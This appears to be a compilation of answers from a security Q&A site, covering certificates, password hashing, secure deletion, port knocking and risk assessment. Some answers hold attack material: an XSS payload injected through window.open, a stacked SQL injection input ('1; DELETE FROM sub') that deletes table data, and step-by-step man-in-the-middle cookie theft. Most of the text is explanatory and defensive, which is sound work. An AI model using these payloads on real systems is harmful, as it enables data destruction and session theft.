X.509 certificates have several properties passwords don't; many of these derive from them generally falling into the "something you have" authentication factor, instead of the "something you know" that applies to passwords.

They're immune to phishing attempts; unlike a password, where the server must receive the actual plaintext password to authenticate you, an X.509 certificate authenticates you by signing some data. A phishing site gets a password that it can turn around and use on the real site; the X.509 authentication only gives it a single signature from the certificate, and doesn't give it the private key it'd need to impersonate you.
Likewise, they pose no risk of shoulder-surfing, or a user telling his password to coworkers, or the like. A user could export the private key, but that's much less likely than a user telling someone a password.
They're not reliant on a user choosing and remembering them. This means they can be very high-entropy, and there's no risk of a common or poor choice of X.509 certificate, which there is with passwords.
Often, you get separate certificates for each browser or device you have. That means the school could revoke one of them if the device is stolen without having to revoke all of them.
They pose no risk if reused on other sites. If you use your school password on another site, that site could harvest the password or could store it incompetently and have it stolen in a breach. With X.509 certificates, the site normally doesn't even know your private key, so if you're using the same certificate for multiple sites, you don't have to rely on all of them to protect your credentials (if you use the same password on multiple sites, and any of them protects it badly, it's compromised for all of them).
When not combined with a password, the fact that you can use it on a site without the site needing to know enough to pose as you means that it serves as an SSO-like system, without needing to redirect you to some centralized login page. With password SSO, you need to log in to the SSO provider if you aren't already, which means you're sent to some other page (as logging in requires giving the login server your password). With certificates, you don't need to give any secret information to anyone to authenticate, so you can just authenticate directly to the site you're going to.
When used for SSO, you don't rely on any central authentication server to be active. With password SSO, you need highly secure central servers to handle login requests if a user isn't logged in already (as they need to know the user's password or password hash); with certain password SSO methods, you need highly secure central servers to handle all authentication requests. With X.509, anyone with the certificate for the school's CA can verify your X.509 certificate. It's best if they can check if it's been revoked, but dealing with certificate revocation can be done through CRLs, which can be cached on other servers that don't need to be highly secure (and so it's easier to make sure at least one is running).

Those all apply to X.509 when used in isolation. Also (and this is the reason you have to enter both):

When combined with a password, they provide two-factor authentication (a password is something you know, a certificate is something you have).


Can I use my old SSL certificate with websites in subfolders?

Since it's still same domain, do we need to change anything regarding our SSL?

Since the domain is the same and paths are not stored in the certificate, you can continue using your old certificate.

  Even if dk and no is folder names in our IIS virtual folder?

The internal configuration does not matter here (the client verifying the certificate does not know anything about it anyway), as long as the web server delivers both sites under the same domain name (which is what you described).

If you'd use subdomains, things might change (if you haven't got a wildcard certificate, which is not the common case and not best practice). So if you'd be using dk.website.company.com and no.website.company.com, you would either need a wildcard certificate for *.website.company.com or a certificate matching all that domains (also consider www.website.company.com in this case).


In the Bitcoin system, "coins" don't exist as such.  Rather, there is a central list of transactions and the wallets that own the results of those transactions (the "blockchain").  In a simplified form, "spending" Bitcoin means generating a transaction that says "take this transaction output, which I can prove I own, and transfer ownership of part to wallet X, and part to wallet Y", and having that transaction accepted into the blockchain.

If you lose access to the private key for your wallet, the coins in that wallet are effectively lost forever: the relevant data is still in the blockchain, but without the ability to prove your ownership, nobody has the ability to spend them.  Since wallet IDs are not tied to real-life identities, it's also impossible to tell who owns the coins in question.

Mt Gox is renowned for the incompetence of its programming.  It's known that a large number of automatically-generated wallets were used for various purposes, and it's quite possible that the missing Bitcoins were transferred to wallets where the private keys were never recorded.

It's also possible that the "missing" Bitcoins never existed in the first place.  Mt Gox had none of the internal control and audit systems a reputable financial institution would have, so it's possible that a bug, an outside attack, or even insider shenanigans artificially inflated the apparent balance of Bitcoins held by Mt Gox.

It's reasonably certain that the missing coins are not the result of a double-spend attack.  To reliably perform such an attack, the attacker needs to control 50% of the Bitcoin computing power, and nobody has ever managed to accumulate that much.


In the context of security engineering, is trust an equivalence relation?

TL;DR: No, it's not.

The definition of "equivalence relation" that I'm familiar with in mathematics is, while equivalent to yours, much simpler to use to evaluate if something is or isn't an equivalence relation. An relation ~ is an equivalence relation if and only if it is:

Reflexive: A ~ A for all A. In this case, it means "A trusts A." This is generally the case (it's not always the case, but people generally trust themselves to not be malicious to themselves).
Transitive: If A ~ B and B ~ C then A ~ C. This is sometimes true for trust, but not always. I might trust that my friend won't lie to me, but just because he trusts someone who trusts you doesn't mean I trust you at all. This is a key concern of public-key crypto, as you can't directly trust everyone's key who you want to communicate with. Trust transitivity is complicated, and doesn't really hold in full generality (hence why PGP doesn't make "trusted introducer" transitive - your trusted introducer's trusted introducer isn't automatically trusted by you). Part of the issue with the CA system for TLS is it treats trust as transitive (if you trust someone to be a CA, and they trust someone else to be a CA, your browser automatically considers the someone else a valid CA). This is very much a "maybe" then, but it certainly doesn't exist to the degree required of an equivalence relation (for an equivalence relation, if A ~ B ~ C ~ ... ~ Z, then A ~ Z; the same is not true for trust).
Symmetric: A ~ B if and only if B ~ A for all A,B. This is definitely not true of trust: you might well trust someone else who doesn't trust you. You implicitly trust your bank to some degree to manage money; they trust you far less (consider how much they pay you to keep your money and how much you pay them to borrow their money). You might trust Google with your data, but they aren't about to repay the favor.

(Your definition is equivalent to this: A ~ B if and only if A and B are in the same equivalence class. The definition I used is used to show something is an equivalence relation, because it's nice to work with that way. Once you've shown something is an equivalence relation, then you break out your definition and divide some set into equivalence classes using it.)

Lastly, there's a technical requirement that trust doesn't satisfy:

Excluded middle: For an equivalence relation (in fact, for the more general class of binary relation), either A ~ B or !(A ~ B). There is no middle ground. This is certainly not true of trust: You trust different people different amounts; you might trust your spouse completely, trust a friend for the most part, and trust a drinking buddy only a little bit. So trust isn't really even in the class of things that can be an equivalence relation. The problem of transitivity is partly due to this -- transitivity means if A ~ B and B ~ C then A ~ C, and does not allow A to only sort of ~ C. You might trust a friend of a friend, but less than you'd trust that friend; at 10 degrees of separation, there's basically no trust left over.

So trust not only doesn't fulfill the technical requirements to be conceivably an equivalence relation, it doesn't fulfill two of the substantive requirements (it's not really transitive within the meaning of an equivalence relation, and certainly isn't symmetric).


Sounds like a fun project. I know you said "simple," but here are my thoughts anyway.

The data you're writing the file over with isn't random, and one pass will still leave traces of the original data. It depends on the storage medium. For example, with magnetic devices, there's magnetic force microscopy. Even after ten rounds of the same thing, I'm not sure you're adding any extra benefits.

Renaming and deleting files won't add robust protection because, on most file systems, it simply changes the pointer to the location on the disk where the data is. Deleting a file only removes the pointer, so the disk sees the blocks as "available" even though the file is actually there. (This is why recovery software works.)

Thorough, secure deletes have the following features (software-based, not considering hardware solutions):

PRNG (Pseudorandom number generator) which generates random values to write at every byte of the file's allocated space (also see the encryption feature below).
Multiple passes (careful here, depends on the medium)
A run with all 0s then all 1s couldn't hurt, either. It may help interrupt a predictable, yet subtle, pattern of randomness (because computers aren't truly random).
Some file systems are "Copy-on-write", which is like a type of "revision control." These try to avoid overwriting data already in place. That protection would have to be circumvented.
RAID devices mirror changes to a disk onto another disk.
Fragmented files may start at one sector and finish at an entirely other part of the disk. Alternatively, anti-fragmentation features may keep redundant copies of the data or relocate them in real time.
Solid-state drives manage the disk space differently than magnetic drives. Coupled with wear-leveling, there are technical reasons that make secure wiping a little tricky. (See Wikipedia link below)
Encrypting a file before wiping it will help fill it with "random" bits... but really the best answer to secure shredding is to encrypt it before it ever hits the disk.

Don't miss this great question which talks about wiping info on solid-state drives, particularly flash drives. Remember that SSDs wear out after being written enough times.

Look at this article on Wikipedia for some more detailed background info.

By the way...

I'd really like to see a shredder that grants some plausible deniability. It would securely erase the file, then plop remnants of a decoy file in its place, perhaps a file chosen by the user that exists elsewhere on the hard drive. It would appear to be the remnants of a copy of that file which at one time was pointed to by the file system, was deleted by the user, and, depending on the size, was potentially being gradually overwritten by regular use.

If a forensics agent were to examine the portion of a disk where a regular shredder was run, it's easy to tell that it was wiped with random data. But if a decoy file was put in its place, I imagine it would be harder to tell.


https security - should password be hashed server-side or client-side?

If you hash on the client side, the hashed password becomes the actual password (with the hashing algorithm being nothing more than a means to convert a user-held mnemonic to the actual password).

This means that you will be storing the full "plain-text" password (the hash) in the database, and you will have lost all benefit of hashing in the first place.

If you decide to go this route, you might as well forgo any hashing and simply transmit and store the user's raw password (which, incidentally, I wouldn't particularly recommend).


How hard would it be to scramble crypto keys in memory on command?

It highly depends on what software you're using to manage the keys. For example, the proprietary crypto library we use here splits the key over several memory locations, flips them big-endian / little-endian, etc and only reassembles them when they're needed. Any good crypto / key management tool will have its own bag of similar obfuscation tricks. This will make it hard for you to locate keys in memory unless you know how they've been obfuscated.

As you say in your question, TPM or full memory encryption are probably better uses of your time. Unless you know exactly which crypto libraries / key management tools are running and are willing to reverse engineer them / add key destruction hooks into their source code.

Update: as you say in comments, security through obfuscation is frowned upon as the only source of security (ie it doesn't protect you from highly motivated attackers), but it does still have its uses.

Update #2: having chatted with a colleague about this, it sounds like you're trying to make your server into an HSM, these are hardware devices specifically designed to manage private keys, and to wipe them if any kind of tampering is detected. If your organization is concerned about attackers having enough physical access to pull off a cold-boot attack, then you should really be using commercially-certified HSMs and not have private keys in memory at all.


A lot of what I discussed in this answer about alternate SSH ports is applicable to this question.

Since your goal is to be as invisible as possible*, I think your best bet is secure port knocking with a tool like fwknop (as noted in this crypto.SE question) or perhaps a custom one-time password scheme for sufficiently complicated port knocks (to help protect against replay attacks).

Another idea is to port knock through Tor; there may be latency within Tor, but port knocking doesn't consume much bandwidth and can be configured to tolerate more latency.  Once you've knocked on the .onion address, the end of your knock could be an encrypted (or plaintext, depending on your sensitivity) form of your client public IP address, which would then be able to access the server's public IP address for a short time window.

You'll also want a system like Fail2ban, which can recognize failed logins and ban the IP that attempted them (by default, Fail2ban blocks an IP for ten minutes after ten failed logins within ten minutes, but this is all configurable).  This will help protect you against attacks coming from systems that share your public IP address (e.g. by being behind the same NAT or by claiming your IP when you disconnect).

I'd still recommend using Tor for your everyday access and only fail over to the public internet when Tor becomes too slow (which hopefully isn't that often; much of Tor's slow speed comes from being starved for exit nodes, but a hidden service doesn't need an exit node).

*Since Tor runs atop the internet, it still needs some ports exposed to the public internet.  You won't be completely invisible and any adversary should be able to easily determine that your server runs Tor.  You might be able to do some kind of reverse port-knocking (upon detecting a port scan, drop all packets to and from that IP), but some port scans are hard to detect (and an attacker might start with the port in question).


Remove CA from trusted CAs list while trusting it older certifications

Usual software handling certificates (e.g. Web browsers) don't validate in the past; when they consider a certificate (e.g. for a SSL server), they want to know if the certificate contents are trustworthy now. The "certificate stores" as managed by operating systems relate to this model. A "trust anchor" (aka "root CA") is either trusted, or not trusted. There is no notion of "it was trusted".

Validation in the past makes sense only in the presence of time stamps: a document is signed, and a time stamp is applied on the signature (or on the encoding of the document and its signature). The time stamp is to be verified at the current date (so the TSA certificate must be valid now), but then the signature itself, and the signer's certificate, can be validated at the time stamp date. This allows for verifying signatures even long after the relevant certificates have expired, although it requires that additional objects like CRL or OCSP responses are timestamped as well; additional time stamps may have to be applied at regular intervals. There are some emerging standards for such a process, e.g. PAdES (with the "long term" format) or ERS (which deals only with the time stamps part, but does it well).

In any case, such usages need a notion of time ranges attached to trust anchors. There are ongoing efforts (especially in the EU) for defining a standard format for that (called TSL) (the EU tries real hard not to say that this is a list of "good root CA", but everybody understands it that way). Validity dates are attached to each root CA in this list.

Some software which does validation in the past may use the OS "trusted root CA" certificate store directly. Indeed, a "trust anchor" is, nominally, the combination of a name (an X.500 Distinguished Name) and a public key (see RFC 5280, section 6.1.1, item (d)). However, it is widespread practice to use certificates as an encoding format for root CA. Such a certificate will include the name and public key, but also other fields, in particular two dates for a validity range. Therefore, some applications will use the root CA dates as indicative of the time range during which the root CA was indeed to be trusted.

In that context, what you are looking after is doable. Indeed, it suffices to modify the dates in the root CA "certificate". First export it as "raw DER" (not PEM / Base64). Then open some binary editor and change the dates in it; they use either UTCTime or GeneralizedTime, so their internal representation is based on ASCII. UTCTime uses the YYMMDDhhmmss format (two digits for the year, two for the month, and so on); with GeneralizedTime, things are similar except that there are four digits for the year (and there can be milliseconds). Just change the year, month and day fields to fit your needs. Once the certificate has been modified, import it back into your trust store and remove the original one. And voilà! you have your root CA with modified dates.

Of course, modifying the certificate contents that way breaks the signature which has been applied on the certificate. But this is a root CA: it uses the encoding format of a certificate as a convenience, but this is not a "real" certificate. The signature is there because the certificate format has a non-optional slot for a signature, but nothing actually verifies that signature. Indeed, the certificate is often self-signed. Therefore, breaking the signature should have no importance.

I repeat, though, that these dates matter only in the context of some software which does "validation in the past", so all of this depends on what such software actually does: root CA certificates in the OS trust store embed validity dates (and you can modify them "manually", as described above), but software which does past validation does not necessarily use these dates to manage the root CA certificates. It may well use another source, e.g. a TSL.


When could 256 bit encryption be brute forced?

Most Probably Never
Of the currently known  quantum algorithms, Grover's algorithm is the one which directly affects symmetric ciphers the most. Essentially, for a cipher that a classical computer can bruteforce in time N, a quantum computer can bruteforce it in time square root of N. This means that a 256 bit cipher (which would take at most O(2256) compexity to bruteforce on a  classical computer) could be bruteforced in O(2128) on a quantum computer.
Bruteforcing even a 128 bit key is limited by the laws of physics. As this excellent answer explains, the amount of energy required to bruteforce a 128 bit key is ridiculously large (all the world's resources for 10 years straight, just for cracking one key). So, absent any other significant breakthroughs, bruteforcing a 256 bit key is out of question. In fact, Grover's algorithm has been shown to be optimal, so any further breakthroughs are extremely unlikely.


How to restrict skype file transfer outside of LAN

It's exceedingly difficult to block Skype file transfers at the network level. They've designed it to use common ports (80 / 443) and proprietary encryption (albeit an extension to SSL) along with UPnP NAT holepunching to ensure absolutely minimal conflicts and setup issues. Remote file transfers go through supernodes as part of a P2P architecture, so it's not possible to blacklist a server to prevent the transfer.

You can disable the file transfer ability of Skype entirely, though. It's done via a registry key.

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Skype\Phone

You may need to create this key first. Once you've found / created it, make a value called DisableFileTransfer as a DWORD and set its value to 1. This will completely disable file transfers within Skype. You may need to restart Skype or the whole computer for it to take effect.

After the transfers are disabled, you can use an alternative file sharing mechanism within your LAN, such as shared drives.

Note that you'll need to restrict access to the registry on those computers. Your users should run as limited accounts, and you should use group policy to deny access to administrative tools like regedit.


Exploiting XSS with window.name without iFrame

The other way to get hold of another window is to pop it up. You can specify the window name in the second parameter:

var victim= window.open('http://example.com/vulnerable', '<script>alert("boom");<\/script>');


Remote monitoring of key strokes — is an RF retro reflector required?

Almost any computer equipment, including keyboards, monitors, CPUs, and others, can emit RF signals that leak information.  There is no way of knowing if your particular machine emits such signals, or what their range is, without testing for the purpose.  The way to protect your equipment is with purpose-built TEMPEST shielding.

TEMPEST is the set of standards developed by US spy agencies to shield against such attacks.  You can read more about them here: https://en.wikipedia.org/wiki/Tempest_(codename)

If you are trying to capture emissions from a computer, your success will depend largely on antenna effectiveness and placement.  The only way to find this information out about a particular machine is through testing.  As with any radio signals, the closer the receiving antenna is to the transmitter, the higher your chance of successful reception will be.


Why you should never trust a public network: A brief overview of man-in-the-middle attacks.

Why you should never trust a public network #2: Are you 100% sure that the convention center WiFi is really controlled by the convention center and not someone else who just made the SSID look like it's for the convention center?

The name on the second one could probably use a focus group.


Think of revoking a key as a comment added to the key file. This comment, if present, will tell others users of your key (someone that send you encrypted gpg emails for exemple) that the key have been revoked and that they shouldn't use it !

Revoking a key is only useful when you send it on key servers, to make others know it's revoked.


x-frame-options header doesn't prevent showing site in iframe

I asked that the URL be posted so more eyes can examine the header.

If that can't be done, check the following by looking at the header as your browser sees it in the developer tools.

If this header is set more than once, it can cause the directive to fail because the browser will condense multiple instances of the same header into one so that it becomes:

X-Frame-Options: SAMEORIGIN,SAMEORIGIN

and this value is not one of the three allowed so the header will be ignored.

For example, if your web server sets it and then code in the application sets it again, it will happen.

source:
https://blog.qualys.com/securitylabs/2015/10/20/clickjacking-a-common-implementation-mistake-that-can-put-your-websites-in-danger


No you do not want to store the data used for your CTF on the same machine you are running your CTF project from. Your machines where you store your data should be separate from your other CTF applications.

You wouldn't be the first CTF to get owned, so better be safe than sorry.


Exchange compromise affected company - should we 100% change administrator password?

Successful exploitation of these vulnerabilities allows an unauthenticated attacker to execute arbitrary code on vulnerable Exchange Servers, enabling the attacker to gain persistent system access, as well as access to files and mailboxes on the server and to credentials stored on that system. Successful exploitation may additionally enable the attacker to compromise trust and identity in a vulnerable network.

This is an excerpt from your link https://us-cert.cisa.gov/ncas/alerts/aa21-062a and given this I cannot think of a reason to not change administrator passwords as a minimum and immediately. As it says, credentials were potentially jeopardized and if these belonged to a domain admin (and not local admin on the exchange box) this could lead to compromise of the entire domain.
I am not a lawyer, but I do of course advise to follow whatever legalisation and company processes are set in place for a potential breach.


Does anyone know what this encoding format for passwords is? I think it is a decimal array but I can't seem to convert it

The commas appear to be somewhat unrelated. When the commas are removed, most of the digits are in groups of three.
At first, it looks like a shifted ASCII substitution, just as Marc suggested - but with some variation:
109 = f (102 ASCII +7)
108 = e (101 ASCII +7)
115 = l (108 ASCII +7)
115 = l (108 ASCII +7)
109 = f (102 ASCII +7)
000 = a (???)

Note especially that the numbers are the same distance from each other than the letters themselves are in an ASCII table, but just shifted by 7 positions.
(But even when divided into triplets, your original posted passwords don't quite match - but that may be because of the obfuscation.)


Is it safe to log into a virtual private server not owned by me?

There is always a risk when connecting to a server with any client software. Suppose that the client (ie OpenSSH or PuTTY) holds data from the server in a buffer with poor bounds checking... it might then be possible for the server to remotely execute code on the client machine.

All software has errors, so it is not impossible to think that an exploitable vulnerability exists in your client. For this reason it is wise to be very careful connecting to machines that you actively distrust.

Sever software tends to be at a greater risk since anyone can try to attack it any time. Client software is still software though, and connecting outwards provides an opportunity for the server to attack the client.

Mitigations like using ASLR and the DEP on your SSH client and always keeping the client machine up to date on software patches are probably sufficient to prevent casual attacks. Disabling privacy eroding features like agent forwarding is pretty smart. X11 is disgustingly bloated and insecure... so do not use X forwarding under any circumstance.

PS. Regarding using a disposable middle man computer to connect to the VPS: maybe try using a different SSH client on each, like PuTTY to connect the Heroku app, then OpenSSH to the VPS. What are the odds both clients have an exploitable bug that the attacker knows about?

PSS. One of the answers to this question mentions a real attack on the OpenSSH cleint: Connecting to a compromised server


PCI Compliance Scan & Globalscape EFT Web App Cookies Not Marked Secure

Not using the Secure flag on cookies is a critical security issue, regardless of whether the site is actually available over HTTP or not. A man-in-the-middle (MITM) network attacker can very easily steal them if they aren't flagged Secure:

Attacker finds a user who is logged into the target site.
Attacker waits for the user to browse to literally any site over unsecured HTTP (it doesn't need to be related to the target site in any way).
Attacker injects a simple, invisible element into the HTTP response that will trigger an HTTP request (for example, <script src="http://targetsite.com/"></script>, even though the root page is presumably not a script).
The user's browser will attempt to connect to the target site over HTTP, which the attacker can complete on the server's behalf (the server never even sees the request, so it doens't matter that it won't respond to HTTP requests).
The user's browser will send the request, including all non-Secure-flagged cookies for the vulnerable site; the attacker can easily harvest these.

For modern browsers, this attack could be thwarted by using HTTP Strict Transport Security (HSTS) or possibly the new SameSite flag on cookies, but a server that isn't using Secure on its session cookies probably isn't using any of these other security measures either, and in any case they wouldn't protect users with old browsers.

I checked Globalscape's knowledge base, and didn't see any way to require the Secure flag on the cookies universally. The scenario described, where the user is redirected from HTTP to HTTPS for login and then back to HTTP, is NOT secure and never should be allowed (Firesheep, a simple Firefox extension that automated attacks against such sites, was released nearly 8 years ago!)

If Globalscape is still allowing that behavior, it should be considered a serious security bug in their product, and your compliance vendor is absolutely correct that it's not suitable for use with payment card info. On the other hand, you claim that the EFT server is only accessible over HTTPS, in which case (per the company's claim) then the scanner shouldn't be able to trigger the "special case" where the cookies are sent insecurely.

Without more information (does EFT Server set the Secure flag if accessed over HTTPS? If so, why was the scanner able to get insecure cookies, given that you say the server isn't available over HTTP? If not, there may be no short-term fix), I can't really tell you what will be needed to fix the issue in the short term. In the long term, you need to either convince Globalscape to bring their web security into this decade, isolate it behind a front-end that is written with security in mind, or change vendors.


different portscan tools give different results

My guess is that you aren't seeing those open ports is because of the default behavior of nmap to only scan the 1.000 most commonly used ports.

If you want to cover all ports you need to explicitly state that you want to scan all ports with the -p parameter. So say I want to scan from port 1 until 5037:

nmap -sS 127.0.0.1 -p1-5037

To view which process is running on what port:

sudo lsof -i -P | grep -i "listen"


Does different clear text size mean different encrypted size in TLS?

It depends on many parameters, such as the encryption algorithm used, the specific mode being used, and the exact difference of data.

For example AES uses block sizes of 16 bytes, and will always pad up to 16 bytes. Any message that is not a multiple of 16 bytes will therefore be padded up to 16 bytes. In your example with yes and no, this means that both will end up being 16 bytes long.

It furthermore depends on the length of those messages. If one message is 2 bytes long, and the other is two terabytes long, then no amount of "automatic" (meaning, as being part of the algorithm) will save you. You can of course manually pad a 2 byte message up to 2 terabytes, but it will be very wasteful.

So if your confidentiality depends on the fact that two ciphertexts are indistinguishable, then you need to manually pad the plaintexts.


How does JDBC send passwords to the server?

JDBC is a Java API. It uses JDBC database drivers to actually communicate with database servers. These drivers may or may not support TLS.

The PostgreSQL JDBC driver supports TLS: https://jdbc.postgresql.org/documentation/94/ssl.html

So, it would connect to the database server using TLS, then send the username and password to authenticate. You would not be able to see the password using Wireshark.

PostgreSQL also supports "pass the (md5) hash" style authentication but it's not recommended. This would hash the password with md5 on the client and send it to the server.


The articles I'm reading echo J Modi's point. For instance:

  WPA3 also contains a 192-bit security suite, aligned with the Commercial
  National Security Algorithm (CNSA) Suite from the Committee on National Security Systems, to help protect government and other secured networks, the Wi-Fi Alliance said.

Computer scientist Mathy Vanhoef thinks the

  feature [that] will strengthen user privacy in open networks through individualized data encryption [may refer to] Opportunistic Wireless Encryption: encryption without authentication. See https://tools.ietf.org/html/rfc8110


Is it safe to keep some data and a copy of it encrypted with same key but different salt and IV?

You can safely encrypt same plain text twice with the same key and different IV. Please see this and this.

You need to be careful not to reuse same key/IV combination on two different plaintexts. You will always need to generate new IV for every plaintext you want to encrypt.

Also, for most modes IV needs to be random and not counter. When you choose mode of operation be sure to check IV requirements and follow them.


Previously when working with automated permissions, I typically would use a controlled group access. With only a handful of people having access to the file, I would say it isn't "dangerous" per se, but it is not good practice. In my past experience letting something like this run amok (plain-text credentials), it will become a pain to update and replace later on when it does become an issue. It would be better to deal with this now than later. Since you mentioned this company needing data security, I would say that this specific case applies and would need to be addressed.

There are a number of ways you could go about this - it depends on what you have access to or what you have already built. Implementing a file that can be imported to the script, which contains usernames as part of specific groups. Then, allowing only appropriate groups permissions to run the file/login. It would depend on the environment/OS you're running this on as well. I would look into Python Keyring as you would be able to implement it in-line with the script.

Obviously going this route, you would be in a similar situation where you would have to lock the permissions file down as well, only allowing key people access to modify said file. An alternative would be using SQL and creating a credential table based on users who should have access, in which permissions would work in a similar way (if these specific people exist in this table, allow access). This could be as simple as usernames/user ID and does not have to include passwords. A comparison to Windows Active Directory could work as well. These are some general examples as I'm not sure what environment you're running on, or if there are any measures that currently exist that would be able to be utilized.

Coming back to your question though, I would recommend implementing a solution. Even something such as creating an encrypted password - anything to get rid of plain-text would be a plus.


Having a list of hashes for the same password compromise the security of the password?

It makes no difference, and the scenario makes no sense at all.
If you think about the salt and oversimplify it, it's just a string concatenated with the password, and that makes the password different. So you will never have n hashes for the same password, you will have n hashes for n different passwords.
Even one bit changed on a salt makes the hash completely different (due to the Avalanche effect), so the attacker sits on a pile of random, useless data.


Escaping out of a select query to run a statement that modifies data in the database

There is an SQL attack called Stacked Queries, this type of attack is done by adding an semicolon -> ; to terminate an SQL statement. Example:
/*Malicious user input by attacker*/
        1; DELETE FROM sub

/*This example executes multiple statements*/
SELECT * FROM sub WHERE subid=1; DELETE FROM sub

Not all SQL injections attack may allow that, you can give it an try via sqlmap (if possible) and prompt an sql shell and try to run an query that will alter the data.


Is showing the package name(Android)/bundle ID(ios) a security risk?

Does the package name need to be kept secret

No.

Here is a link to one of my apps:

https://play.google.com/store/apps/details?id=uk.co.jrtapsell.appinfo&hl=en

(Link purely for example, it was found on the first page of google when the app name was searched for)

You can see that google provide the package name in the URL, so even if you hid it, opening the store page for an app would give it out anyway.

Do bundle IDs need to be kept secret

No.

Following the steps here, you can get the bundle ID from the app link, so it would appear that it does not need to be kept secret.

  Find the app online (Google for the iTunes link). For this example we use Apple Pages: https://itunes.apple.com/app/pages/id361309726?mt=8.
  Copy the number after the id in the URL. (Here: 361309726).
  Open https://itunes.apple.com/lookup?id=361309726 where you replace the ID with the one you looked up.
  Search the output for "bundleID". In this example it looks like this (next to a bunch of other data): "bundleId":"com.apple.Pages".

  So for Apple, the bundle ID is com.apple.Pages.


What is the definition of "multi-failure" disaster recovery?

Multi-failure tolerant systems are exactly that; Systems that are designed such that they can handle multiple failures through multiple/layered redundancies. You won't find a more detailed definition of this in any RFP, compliance, audit, due-diligence document as it's a general concept and will look different for every system/service.

For those looking for a bit more:

If there is any question to your ability to handle multiple failures, you need to run some scenarios. Get a high level view of your system, try to identify any single points of failure, if you succeed, you have work to do. Assuming you didn't, identify your failure domains. At a high level, this would usually be a Data Center. Lower levels could be Racks, servers attached to a common NAS/SAN, VMs on a bare metal host, individual applications, etc. In your scenarios, randomly pick a piece of hardware, application, rack or other object in your system architecture and mark is as dead. Also mark anything that relies on that object dead. If it's a rack, everything in that rack is dead, if it's a database cluster, every thing that needs data from that source is dead. If its a data center, everything there is dead. You get the idea. Now, with that object dead, and it's failure domain dead, add another random object to the down list, along with it's dependencies.

If you find yourself wanting to avoid certain parings of objects in these scenarios, you probably have some work to do. If you find that for the vast majority of combinations of two or three random objects marked offline, your service is still online and clients are happy, you've done well. Most companies will be able to identify at least a couple areas where they need improvement.

If you have three data centers with complete copies of servers/apps/storage in each dc, you can easily check yes on this question. But a lot of companies don't operate with three production capable sites.

As a related note, while AWS, Rackspace, etc offer multiple availability zones, etc... At a high level, any single service provider is still a single failure domain. This is a common note that pops up on these types of scenarios. This may or may not be a risk your business can accept, but you should at least be aware of it and actively make that decision. Numerous cloud based companies use more than one provider or use a cloud provider and in-house resources. It's also really sad when you see a company offline because they had all of their resources in one availability zone when it went down.

Disaster Mitigation Planning is all about identifying failure domains and ensuring there is n+1 replicas of any subsystem, where 'n' is the number of failures you have at any given time.


What is difference running Linux by live USB vs. by VirtualBox?

The 3 scenarios are

1. Live USB
2. Dual-Booting
3. One Main OS on the computer + One Virtual OS

Live USB can be run with or without persistent storage. Let me suppose you refer to those with no persistent storage. The yes it is fairly safe.

Malware/viruses - only those that attaches to hardware - typically writes into your ROM.

Web browsing - Nothing much to say. All data wiped when reboot.

Dual Boot Systems security is as it is.

Malware/viruses - most types of viruses since the storage is persistent. Once it integrates into one of the running processes that is run on reboot you have an APT. Thus vulnerable to both software and hardware malwares.

Web browsing - Both OS will keep their records of your web browsing data probably depending on your Browser and its configuration.

Swapping over drives - This is possible if both drives are mounted. Since it is mounted then any process can access it irregardless of which OS you use. Unless you unmount according to which OS you boot on.

One Main OS on the computer + One Virtual OS is probably more secure than a dual boot.

Malware/viruses - only those that are capable of exploiting hypervisor vulnerabilities to allow interaction between the VM and its hosts. An example of such is Cloudburst created by Immunity Inc against Vmware. There exist but it is not as common since it takes quite a bit of technical knowledge to develop exploits of such. See hyperjacking

Web browsing - Likewise web browsing data probably stored depending on your Browser and its configuration.

Swapping over drives - Unlikely unless specified by the user. This is dependent on your configuration once again.

Back to Basics

The end of story is how much usability are you willing to give up for security.

Live USB and Virtual OS is definitely more secure but a great hassle.

Live USB with no persistent storage means you cannot store any of your data and softwares you need daily. Very secure but every time you log on you will need to reinstall all the softwares.

Virtual OS probably also relatively secure in the sense you can always wipe the virtualbox and reset as and when you find something is wrong. However since it still possess storage to softwares and their configuration it is still possible to attract software exploits within the VM. Its harm is USUALLY limited to the VM though as mentioned above.


To be effective, a salt should be random (unpredictable) and unique (thus, a nonce). It doesn't have to be very long (though that doesn't hurt).

Your implementation is how a salt should be handled. However, bcrypt already includes a salt, so your efforts are a bit redundant. It definitely doesn't hurt anything, though.


How to prepare a report on security weakness in our software

Risk assessments are really an ongoing task, because your report will produce a result which is based on the known vulnerabilities as of today. Obviously new vulnerabilities are being discovered all the time, so the risk assessment must be carried out periodically in order to give your management the most current information.

There are different types of risk assessments which could apply to this situation.

If you are an analyst and wish to understand if and where you have vulnerabilities, then an automated vulnerability scanner could be used to produce an assessment of the application and infrastructure it is running on. Take a look at Nessus or Qualys, however there are many other options.

If you are a software engineer or similar and you have a good understanding of the business requirements and process flow of the application in question, then you could undertake a threat modelling exercise. This will allow you to analyse the data flows and data models to identify areas of risk. This can help to define security controls which can be implemented in the software application itself. It can also identify areas where other diverse controls, such as firewalls, IDS/IPS or WAF, may be deployed.

If you have already deployed your application and you need to understand if it is vulnerable to compromise, where those vulnerabilities are and what the impact of the vulnerabilities are to the data, then a penetration test may be useful.

For a more mature organisation, then risk management is a continuous process that leads to continual improvement. Look into ISO 27001 and ISO 27005 for a standard approach to information security risk management.


Any Point To Paper Submission Of Forms Versus Electronic Submission

I'd say this all depends on how much you trust the end point and your carriers. For example, if you need to submit a payroll document to a HR manager at another site within your firm then that's a good example of sensitive information. You likely wouldn't want it being handed over to, say, a receptionist and then being passed in a chain to the HR manager.

If you send the document by paper then you can instruct your carrier to only hand over the envelope to the intended recipient him/herself, you can get their signature for confirmation of reciept, and you can use anti-tamper envelopes to demonstrate that no one has accessed the data in transit. Obviously if the recipient then leaves the document laying around then anyone can read it, so you'd need to trust them to keep your data secure. You shouldn't really be sending sensitive data to someone you don't trust anyway.

An electronic submission means that anyone with access to the recipients computer can likely access your data. I'm not sure about other workplaces, but at my work and in my places of study username/IDs and passwords are frequently shared among co-workers. If this is the case then it's entirely possible that anyone within that department (or anyone else that knows their ID and password) could easily read your data. It's also entirely possible that the government or your ISP or any other third party involved in your internet connection could intercept your communication and, unlike with an anti-tamper envelope, you'd likely have no way of telling if this has happened or not.

Really, which is more secure depends entirely on how much you trust your carriers, who you're sending data to and who is going to be involved in transmitting your data.


You would want to use measured boot, a technique for verifying a chain of trust from the BIOS all the way up to the kernel. Once the kernel is verified, a feature called IMA, the Integrity Measurement Architecture, can be used which allows the kernel to verify executables before they run. This is similar to basic integrity checkers such as AIDE, but allow real-time prevention, not just detection after the fact. Measured boot requires the presence of a TPM, which most modern systems have.

